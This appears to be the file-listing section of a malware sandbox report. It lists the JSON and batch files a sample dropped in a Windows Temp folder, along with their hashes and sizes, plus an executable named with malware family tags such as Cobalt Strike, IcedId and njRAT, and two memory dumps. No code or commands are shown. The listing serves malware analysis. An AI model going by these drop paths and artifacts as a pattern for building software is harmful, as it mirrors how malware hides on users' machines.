                                                                                                                                                                                                                                                                                                                            sysinfo_1784065298790.json
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\s_69ac1408f97cfb80\sysinfo_1784065298790.json
                                                                                                                                                                                                                                                                                                                            • Size 547B
                                                                                                                                                                                                                                                                                                                            • SHA256 699939c818c9122f872edbd8dfc265375f0b4d60d4c69716a872aebfaa35efc7
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sysinfo_1784065362267.json
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\s_88e28d856088e6c9\sysinfo_1784065362267.json
                                                                                                                                                                                                                                                                                                                            • Size 547B
                                                                                                                                                                                                                                                                                                                            • SHA256 e5ca7552ab5ce05cb17bbf4c01106715aabe439a6d4737a32b232fbf964b8aa3
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sysinfo_1784065412608.json
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\s_8e03b7e71415f29f\sysinfo_1784065412608.json
                                                                                                                                                                                                                                                                                                                            • Size 476B
                                                                                                                                                                                                                                                                                                                            • SHA256 d6abd16cc935cddcd5714a416aa0d2696d898ac31b20d4b5e40e28dc1c0e0edd
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sysinfo_1784065357302.json
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\s_92c4266696113c9f\sysinfo_1784065357302.json
                                                                                                                                                                                                                                                                                                                            • Size 547B
                                                                                                                                                                                                                                                                                                                            • SHA256 f05ce38eb9979db2e4c2662373aff4fc9498f64b4fa55d2156e78bc937ac640d
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sysinfo_1784065288649.json
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\s_92edb964c5c11ca6\sysinfo_1784065288649.json
                                                                                                                                                                                                                                                                                                                            • Size 547B
                                                                                                                                                                                                                                                                                                                            • SHA256 488e094a1e3273f3667dbf687bc0b6306ba15be1f2b97f68f4599e37bc62c826
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sysinfo_1784065293598.json
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\s_b3393f0f9a57304a\sysinfo_1784065293598.json
                                                                                                                                                                                                                                                                                                                            • Size 547B
                                                                                                                                                                                                                                                                                                                            • SHA256 b4ca342a0ffa40c83a982df30ffca53b4021916dd8d9661439eb599796311b8d
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sysinfo_1784065430224.json
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\s_d422e9a5c62122ff\sysinfo_1784065430224.json
                                                                                                                                                                                                                                                                                                                            • Size 547B
                                                                                                                                                                                                                                                                                                                            • SHA256 bc666dcd8f9d644e64791a99ee87c779be303b33705e6e690176344de73b5270
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sysinfo_1784065420480.json
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\s_d58c5bf4c910a9f9\sysinfo_1784065420480.json
                                                                                                                                                                                                                                                                                                                            • Size 547B
                                                                                                                                                                                                                                                                                                                            • SHA256 51f30c85cb13fb605fcbe1c265b65a91c7eb366b7e7197dda74741cbe3ffc234
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sysinfo_1784065328656.json
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\s_f0a9d6c90ff39864\sysinfo_1784065328656.json
                                                                                                                                                                                                                                                                                                                            • Size 476B
                                                                                                                                                                                                                                                                                                                            • SHA256 e48cc3d1086fe8dd715560701227af345a04a8f6091635b2944297b593165d37
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065294068.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065294068.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 6c4ffd809ee1d1bd910183bba91d8f530262509c5524b83d99af98de67088ed4
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065299272.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065299272.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 ab5f4dfd71b2e4287ce59c633465022ad343bc9e1baee5b204056bcf99c4462b
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065304804.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065304804.bat
                                                                                                                                                                                                                                                                                                                            • Size 206B
                                                                                                                                                                                                                                                                                                                            • SHA256 49151d298b4ffb6e09f6ba2d228951761efd468bdc26d939aac25a3552bd7ed1
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065309804.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065309804.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 6d4f58a1925fd11657e90373a660a77f87b975009f844452250f83fa60ad1c84
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065318838.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065318838.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 8859707769f546228b72dbab41470f826be4c66eda381e5a74b1a08938001998
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065329243.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065329243.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 566cb5227e8ca3dc50781694c316f9d755284ea089e45fe347493e5b08de7d59
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065354619.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065354619.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 bd16ba75194ca769e41322d89498de45fab96d18b97acb031f5071607628c114
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065357708.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065357708.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 16ade7ab2df8392485b0b96c2298df3c7879c465a291a7c77adca17213f8fee0
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065362711.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065362711.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 640b0cd803fb8096e8d6dcbc8eaba23ade7046325dd23daea6d64b8ebda629b0
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065409845.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065409845.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 f62830354b7c69bd89a10892541113942cba585ece8de2f836715e61d6a70143
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065413022.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065413022.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 5de75b04bc456b89e10dab7b9896e8616cb37c8d7dd62854fdc85f5aba1c8075
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065417391.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065417391.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 7e77e5dac9a18adbbae8387d8accf89aee3c8d8a137807c651e4167fea25ff00
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            sd_1784065420915.bat
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Local\Temp\sd_1784065420915.bat
                                                                                                                                                                                                                                                                                                                            • Size 218B
                                                                                                                                                                                                                                                                                                                            • SHA256 204cd1e57965f987c5e9f036151198b4d39a3915a9e52c7162e918e5180782d3
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                                                                                                                            • Path C:\Users\Admin\AppData\Roaming\.6b4ecde7cache\2026-07-14_ac4c135786622e5289ef080aa5a1016c_byakugan_cobalt-strike_coinminer_glassworm_icedid_njrat_.exe
                                                                                                                                                                                                                                                                                                                            • Size 37.7MB
                                                                                                                                                                                                                                                                                                                            • SHA256 3ff3ae21897f35e8ba8a12f4a23ec969e09b057f4c968590676cd0a9c8886be5
                                                                                                                                                                                                                                                                                                                            • MD5 SHA1 SHA512 SSDEEP TLSH
                                                                                                                                                                                                                                                                                                                            Submit Download

                                                                                                                                                                                                                                                                                                                            memory/5580-6-0x0000017BA0640000-0x0000017BA0690000-memory.dmp
                                                                                                                                                                                                                                                                                                                            Download

                                                                                                                                                                                                                                                                                                                            memory/5580-5-0x0000017BA0580000-0x0000017BA05A2000-memory.dmp
                                                                                                                                                                                                                                                                                                                            Download